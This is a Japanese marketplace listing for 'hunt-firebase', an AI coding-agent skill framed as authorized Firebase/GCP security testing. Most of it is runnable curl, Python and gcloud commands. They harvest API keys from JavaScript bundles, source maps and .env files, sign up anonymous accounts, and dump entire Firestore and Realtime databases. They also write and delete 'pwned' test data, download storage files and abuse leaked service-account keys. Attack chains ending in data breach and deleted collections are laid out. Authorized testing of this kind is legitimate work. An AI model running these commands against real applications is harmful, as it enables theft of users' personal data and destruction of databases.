mcpField
H
hunt-firebase

hunt-firebase

github.com/uphiagoセキュリティ1.3k39 回インストール8 週間前に更新
リポジトリ

hunt-firebase について

Firebase、Firestore、GCP の露出を調べるセキュリティテスト用スキルです。設定の発見からデータベース、ストレージ、認証、サービスアカウントのアクセス確認までを案内し、公開設定と実際のリスクを区別します。

主な機能

  1. 01Firebase 設定とプロジェクト識別子の発見
  2. 02Firestore の読み書きルール確認
  3. 03Realtime Database のアクセス調査
  4. 04Storage のファイルアクセス確認
  5. 05Auth 登録とサービスアカウント露出の検証
  6. 06深刻度評価と誤検知の回避

活用シーン

  1. 01許可された対象の Firebase 設定を監査
  2. 02Firestore または Realtime Database のルール確認
  3. 03Storage が機密ファイルを公開していないか調査
  4. 04漏えいしたサービスアカウント認証情報の影響評価

インストール

コマンドをコピーしてターミナルで実行します。

$npx skills add https://github.com/uphiago/recon-skills --skill hunt-firebase

インストール後、Claude Code で/hunt-firebaseを入力して読み込まれたか確認します。

詳細

HUNT-FIREBASE — Firebase / Firestore / GCP の悪用

最重要標的

Firebase は Google のモバイル/ウェブプラットフォームです。開発者がクライアントに API key を埋め込む場合(Firebase SDK では必須です)、Firestore Security Rules または Realtime Database Rules の設定を忘れることが多く、その結果、すべてのデータが公開状態で読み書き可能になります。

最も価値の高い発見事項:

  1. 公開 Firestore データベース — 匿名キーで ALL コレクションの読み書きが可能 → データを完全にダンプ可能(ユーザー、メッセージ、PII)。重大。
  2. 公開 Realtime Database — {database}.firebaseio.com/.json から認証なしですべてのデータを取得できます。重大。
  3. 読み取りが公開された Firebase Storage — ストレージバケットで匿名のファイル一覧表示とダウンロードが可能です。重大。
  4. Firebase のサインアップが開放状態 — 誰でも認証アカウントを作成でき、その後 JWT を使用して Firestore にアクセスできます。高。
  5. サービスアカウント JSON の漏えい — Firestore、Storage、Cloud Functions、IAM ポリシーへの GCP IAM フルアクセスが可能です。重大。
  6. 設定情報が漏えいした Firebase Hosting — ホスティング上の静的ファイルからプロジェクト ID と API key が判明します。

フェーズ 1 — Firebase プロジェクトを見つける

Firebase は API key の形式で識別できます:AIzaSy[0-9A-Za-z_-]{35}

1.1 JS バンドルを検索
# Download the main page and its JS bundles
curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET" -o /tmp/index.html
grep -Eo 'src="[^"]*\.js"' /tmp/index.html | cut -d'"' -f2 | while read js; do
  curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET$js" -o "/tmp/$(basename $js)"
done

# Search for Firebase API keys in all downloaded JS
grep -rEn 'AIza[0-9A-Za-z_-]{35}' /tmp/*.js

# Search for firebaseConfig
grep -rEn 'firebaseConfig|firebase.initializeApp|apiKey|authDomain' /tmp/*.js --include="*.js"

# Search for Firebase URLs
grep -rEn 'firebaseio|firestore|firebasestorage|firebaseapp' /tmp/*.js --include="*.js"

# Quick one-liner for any page
curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET" | grep -Eo 'AIza[0-9A-Za-z_-]{35}'
1.2 ソースマップを検索
# First find source maps
curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET" | grep -Eo 'sourceMappingURL=[^\"]+' | cut -d= -f2 | while read sm; do
  curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET$(echo $sm | sed 's|^/||')" -o "/tmp/$(basename $sm)"
done

# Extract all source files from maps
cat /tmp/*.map 2>/dev/null | python3 -c "
import sys, json, re, os
try:
    data = json.load(sys.stdin)
    sources = data.get('sourcesContent', [])
    for src in sources:
        if not src: continue
        keys = re.findall(r'AIza[0-9A-Za-z_-]{35}', src)
        for k in keys:
            print(f'FIREBASE_API_KEY: {k}')
        urls = re.findall(r'https://[^\"'\"]+firebaseio[^\"'\"]+', src)
        for u in urls:
            print(f'FIREBASE_URL: {u}')
except: pass
" 2>/dev/null
1.3 .env と設定ファイルを検索
# Firebase config often lives in .env
curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET/.env" | grep -i "FIREBASE"
curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET/.env.production" | grep -i "FIREBASE"

# Search in exposed JSON config
curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET/service-account.json" | python3 -m json.tool 2>/dev/null
curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET/firebase.json" | python3 -m json.tool 2>/dev/null

フェーズ 2 — Firebase プロジェクトの偵察

Firebase API key(形式:AIzaSyXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX)を入手したら、プロジェクトを調査できます。

2.1 Firebase プロジェクト ID を特定
# The project ID is encoded in the API key or can be found in the authDomain
# Auth domain pattern: <PROJECT_ID>.firebaseapp.com
API_KEY="AIzaSy..."

# Method 1: Try to sign in anonymously to get the project info
curl --max-time 30 --connect-timeout 10 -sk "https://identitytoolkit.googleapis.com/v1/accounts:signUp?key=$API_KEY" \
  -H "Content-Type: application/json" \
  -d '{"returnSecureToken": true}'
# Response includes: idToken, localId, refreshToken, expiresIn

# Method 2: Check if a known project ID works
for project in "$TARGET" "${TARGET%.*}" "app-${TARGET%.*}" "${TARGET//./-}"; do
  code=$(curl --max-time 30 --connect-timeout 10 -sk -o /dev/null -w "%{http_code}" "https://$project.firebaseio.com/.json")
  [ "$code" != "404" ] && echo "Hit: $project.firebaseio.com (HTTP $code)"
done

# Method 3: Search for the project ID in the bundle alongside the key
grep -B5 -A5 "AIzaSy" /tmp/*.js 2>/dev/null
2.2 Firebase プロジェクトを列挙
# Once project ID is known, probe all Firebase services
PROJECT="your-firebase-project-id"
API_KEY="AIzaSy..."

# Firestore REST API
curl --max-time 30 --connect-timeout 10 -sk "https://firestore.googleapis.com/v1/projects/$PROJECT/databases/(default)/documents?key=$API_KEY"
# If rules are permissive -> returns all documents

# Realtime Database
curl --max-time 30 --connect-timeout 10 -sk "https://$PROJECT.firebaseio.com/.json"
curl --max-time 30 --connect-timeout 10 -sk "https://$PROJECT.firebaseio.com/.json?auth=$ID_TOKEN"

# Firebase Storage
# Two common formats:
curl --max-time 30 --connect-timeout 10 -sk "https://firebasestorage.googleapis.com/v0/b/$PROJECT.appspot.com/o?key=$API_KEY"
curl --max-time 30 --connect-timeout 10 -sk "https://storage.googleapis.com/$PROJECT.appspot.com"
curl --max-time 30 --connect-timeout 10 -sk "https://$PROJECT.firebasestorage.app"

# Firebase Hosting
curl --max-time 30 --connect-timeout 10 -skI "https://$PROJECT.firebaseapp.com"
curl --max-time 30 --connect-timeout 10 -sk "https://$PROJECT.web.app"

フェーズ 3 — Firestore データベースの悪用

Firestore Security Rules は、誰が読み書きできるかを制御します。設定ミスがあり(読み取りが true に設定されている場合)、データベース全体が公開状態になります。

3.1 コレクションを一覧表示(匿名キーを使用)
API_KEY="AIzaSy..."
PROJECT="your-project-id"

# Step 1: Sign in anonymously
ANON_RESP=$(curl --max-time 30 --connect-timeout 10 -sk "https://identitytoolkit.googleapis.com/v1/accounts:signUp?key=$API_KEY" \
  -H "Content-Type: application/json" \
  -d '{"returnSecureToken": true}')
ID_TOKEN=$(echo "$ANON_RESP" | python3 -c "import sys, json; print(json.load(sys.stdin).get('idToken', 'NO_TOKEN'))")

if [ "$ID_TOKEN" != "NO_TOKEN" ]; then
  echo "[+] Anonymous auth token obtained"

  # Step 2: List all documents in root collection
  curl --max-time 30 --connect-timeout 10 -sk "https://firestore.googleapis.com/v1/projects/$PROJECT/databases/(default)/documents?key=$API_KEY" \
    -H "Authorization: Bearer $ID_TOKEN" | python3 -c "
import sys, json
try:
    d = json.load(sys.stdin)
    docs = d.get('documents', [])
    print(f'Documents: {len(docs)}')
    for doc in docs[:20]:
        path = doc.get('name', '').split('/')[-1]
        print(f'  Document: {path}')
        fields = doc.get('fields', {})
        for key, val in fields.items():
            val_type = list(val.keys())[0] if val else 'unknown'
            val_snippet = str(list(val.values())[0])[:50] if val else ''
            print(f'    {key}: {val_snippet}')
except Exception as e:
    print(f'No data: {e}')
"
else
  echo "[-] Cannot obtain anonymous auth token"
fi
3.2 すべてのコレクションをダンプ(再帰的)
# Firestore collection group query — enumerate ALL collections
curl --max-time 30 --connect-timeout 10 -sk "https://firestore.googleapis.com/v1/projects/$PROJECT/databases/(default)/documents:listCollectionIds?key=$API_KEY" \
  -H "Authorization: Bearer $ID_TOKEN" \
  -X POST -d '{}'

# For each collection, dump documents
curl --max-time 30 --connect-timeout 10 -sk "https://firestore.googleapis.com/v1/projects/$PROJECT/databases/(default)/documents/{COLLECTION_NAME}?key=$API_KEY" \
  -H "Authorization: Bearer $ID_TOKEN"

# Run collectionGroup query (finds nested collections too)
curl --max-time 30 --connect-timeout 10 -sk "https://firestore.googleapis.com/v1/projects/$PROJECT/databases/(default)/documents:runQuery?key=$API_KEY" \
  -H "Authorization: Bearer $ID_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"structuredQuery": {"from": [{"collectionId": "*"}]}}'
3.3 書き込みアクセスをテスト
# Try to write a document (only if rules allow)
curl --max-time 30 --connect-timeout 10 -sk -X POST "https://firestore.googleapis.com/v1/projects/$PROJECT/databases/(default)/documents/test_collection?key=$API_KEY" \
  -H "Authorization: Bearer $ID_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"fields": {"test": {"stringValue": "pwned"}}}'

# If 200 -> write access confirmed -> CRITICAL
# Try to delete
curl --max-time 30 --connect-timeout 10 -sk -X DELETE "https://firestore.googleapis.com/v1/projects/$PROJECT/databases/(default)/documents/test_collection/TEST_DOC?key=$API_KEY" \
  -H "Authorization: Bearer $ID_TOKEN"
# If 200 -> delete access confirmed -> CRITICAL

フェーズ 4 — Realtime Database の悪用

Firebase Realtime Database は異なる API パスを使用します。

# Read entire database (if rules allow public read)
curl --max-time 30 --connect-timeout 10 -sk "https://$PROJECT.firebaseio.com/.json"
curl --max-time 30 --connect-timeout 10 -sk "https://$PROJECT.firebaseio.com/.json?print=pretty"

# With auth token
curl --max-time 30 --connect-timeout 10 -sk "https://$PROJECT.firebaseio.com/.json?auth=$ID_TOKEN"

# Specific path
curl --max-time 30 --connect-timeout 10 -sk "https://$PROJECT.firebaseio.com/users.json"
curl --max-time 30 --connect-timeout 10 -sk "https://$PROJECT.firebaseio.com/messages.json"
curl --max-time 30 --connect-timeout 10 -sk "https://$PROJECT.firebaseio.com/config.json"

# Test write
curl --max-time 30 --connect-timeout 10 -sk -X PUT "https://$PROJECT.firebaseio.com/test.json" \
  -H "Content-Type: application/json" \
  -d '{"pwned": true}'

# Test delete
curl --max-time 30 --connect-timeout 10 -sk -X DELETE "https://$PROJECT.firebaseio.com/test.json"

フェーズ 5 — Firebase Storage の悪用

# List all files in the default storage bucket
curl --max-time 30 --connect-timeout 10 -sk "https://firebasestorage.googleapis.com/v0/b/$PROJECT.appspot.com/o?key=$API_KEY" | \
  python3 -c "
import sys, json
try:
    d = json.load(sys.stdin)
    items = d.get('items', [])
    for item in items:
        name = item.get('name', '')
        bucket = item.get('bucket', '')
        print(f'{bucket}: {name}')
except Exception as e:
    print(f'Error: {e}')
"

# Download a specific file
curl --max-time 30 --connect-timeout 10 -sk "https://firebasestorage.googleapis.com/v0/b/$PROJECT.appspot.com/o/{ENCODED_FILE_PATH}?alt=media&key=$API_KEY" \
  -o /tmp/firebase_file

# Upload a file (test write access)
curl --max-time 30 --connect-timeout 10 -sk -X POST "https://firebasestorage.googleapis.com/v0/b/$PROJECT.appspot.com/o?name=test_pwned.txt&key=$API_KEY" \
  -H "Content-Type: text/plain" \
  -d "pwned"

フェーズ 6 — Firebase Auth の悪用

6.1 サインアップ(メール/パスワード認証が有効な場合)
# Create an auth account
curl --max-time 30 --connect-timeout 10 -sk "https://identitytoolkit.googleapis.com/v1/accounts:signUp?key=$API_KEY" \
  -H "Content-Type: application/json" \
  -d '{
    "email": "[email protected]",
    "password": "Password123!",
    "returnSecureToken": true
  }'
# If 200 -> anyone can create accounts!
6.2 サインイン
# Sign in with known credentials
curl --max-time 30 --connect-timeout 10 -sk "https://identitytoolkit.googleapis.com/v1/accounts:signInWithPassword?key=$API_KEY" \
  -H "Content-Type: application/json" \
  -d '{
    "email": "[email protected]",
    "password": "Password123!",
    "returnSecureToken": true
  }'

# Extract idToken -> use for Firestore/RTDB/Storage access
ID_TOKEN=$(...)
6.3 認証プロバイダーを一覧表示
# Check which auth providers are enabled
curl --max-time 30 --connect-timeout 10 -sk "https://identitytoolkit.googleapis.com/v1/accounts:createAuthUri?key=$API_KEY" \
  -H "Content-Type: application/json" \
  -d '{"identifier": "[email protected]", "continueUri": "http://localhost"}'
# Response shows: allSignInMethods (password, google.com, facebook.com, etc.)

フェーズ 7 — サービスアカウント JSON の悪用

Firebase/GCP のサービスアカウント JSON ファイルを見つけた場合:

# The file looks like:
# {
#   "type": "service_account",
#   "project_id": "...",
#   "private_key_id": "...",
#   "private_key": "-----BEGIN PRIVATE KEY-----\n...\n-----END PRIVATE KEY-----\n",
#   "client_email": "[email protected]",
#   "client_id": "...",
#   "auth_uri": "https://accounts.google.com/o/oauth2/auth",
#   "token_uri": "https://oauth2.googleapis.com/token"
# }

# Save it and authenticate with gcloud
echo '{"type": "service_account", ...}' > /tmp/sa-key.json

# Authenticate
gcloud auth activate-service-account --key-file=/tmp/sa-key.json

# List all accessible resources
gcloud projects get-iam-policy $PROJECT_ID
gcloud iam service-accounts list
gcloud firestore databases list
gcloud storage buckets list
gcloud functions list
gcloud run services list

# Firestore read using the service account
gcloud firestore export gs://$BUCKET/export/  # Export entire Firestore

# Access Firestore REST API with JWT
# The service account can generate its own OAuth tokens
OAUTH_TOKEN=$(gcloud auth print-access-token)

# Use token for Firestore API
curl --max-time 30 --connect-timeout 10 -sk "https://firestore.googleapis.com/v1/projects/$PROJECT_ID/databases/(default)/documents" \
  -H "Authorization: Bearer $OAUTH_TOKEN"

# IAM exploration
curl --max-time 30 --connect-timeout 10 -sk "https://cloudresourcemanager.googleapis.com/v1/projects/$PROJECT_ID:getIamPolicy" \
  -H "Authorization: Bearer $OAUTH_TOKEN" \
  -X POST -H "Content-Type: application/json" -d '{}'

フェーズ 8 — 攻撃チェーン

チェーン A:JS 内の API Key -> 匿名認証 -> Firestore のダンプ
JS bundle contains Firebase API key (AIzaSy...) ->
Sign in anonymously (accounts:signUp) ->
Get ID token ->
List Firestore collections ->
Dump ALL documents -> Data breach
チェーン B:JS 内の API Key -> 開放されたサインアップ -> 認証 -> 書き込みアクセス
Firebase config found in JS ->
Email/password signUp enabled (not just anon) ->
Anyone creates accounts ->
Access Firestore with credentials ->
Write malicious data or delete collections
チェーン C:サービスアカウント JSON -> GCP フルアクセス
SA key found in .env or leaked repo ->
gcloud auth activate-service-account ->
Get IAM policy ->
List all resources ->
Export Firestore, access Storage, invoke Cloud Functions

検証時の重大度

発見事項重大度
Firestore の公開読み取り(PII を含むコレクションをダンプ可能)重大
Firestore の公開書き込み(ドキュメントの作成/削除が可能)重大
Realtime Database の公開読み取り(.json 全体をダンプ可能)重大
Firebase Storage の公開一覧表示/ダウンロード高
開放されたサインアップ(誰でもアカウントを作成可能)高
サービスアカウント JSON の露出重大
API key の発見(それ以上のアクセスなし)低〜中
Firebase Hosting の静的サイトの露出情報
Firebase プロジェクト ID の露出(キーなし)情報

Firebase でよく見られる発見事項の形式

# Quick test: does the target use Firebase?
curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET" | grep -Eo 'AIza[0-9A-Za-z_-]{35}'
curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET" | grep -Eo 'firebaseio\.com|firestore\.googleapis|firebaseapp\.com'

# Check Google dorks for Firebase
# site:target.com "firebase"
# site:target.com "AIzaSy" filetype:js
# site:target.com "firebaseConfig"

検証

Firebase の調査準備が整っていることを確認するには、次のセルフテストを実行します:

  1. スキルの完全性 — スキルファイルが読み取り可能で、正しい形式であることを確認します:

    grep -q "name: hunt-firebase" SKILL.md && echo "PASS: skill frontmatter present" || echo "FAIL"
    grep -q "revision_date:" SKILL.md && echo "PASS: revision date present" || echo "FAIL"
    
  2. カテゴリの確認 — スキルにカテゴリがあることを確認します:

    grep -q "category:" SKILL.md && echo "PASS: category present" || echo "FAIL"
    
  3. 注意点のセクション — 注意点が記載されていることを確認します:

    grep -q "^## Pitfalls" SKILL.md && echo "PASS: pitfalls section present" || echo "FAIL"
    

3 つのテストすべてで、スキルが適切に構成され、使用準備が整っていることを確認できます。


注意点

  • 機密データを含まない公開 Firebase 設定 — Firebase 設定オブジェクトは意図的に公開されています。データベースまたはストレージに書き込み可能な場合、あるいは PII が含まれている場合にのみ報告してください。
  • 書き込みを伴わない Realtime DB ルールのテスト — .json の読み取りは偵察です。.json への書き込みが永続化されることを確認すれば、設定ミスの証明になります。
  • Firestore の公開読み取り — /documents/public_config ではなく、/documents/users をテストして PII を確認してください。
  • オブジェクトを読み取れないストレージバケットの一覧表示 — 一覧表示できるバケットは参考情報にすぎません。機密情報を含むオブジェクトを読み取れる必要があります。
  • API キーのスコープテスト — Firebase API キーは秘密情報ではなく、識別子です。キーが存在することだけでなく、そのキーで何にアクセスできるかをテストしてください。

コメント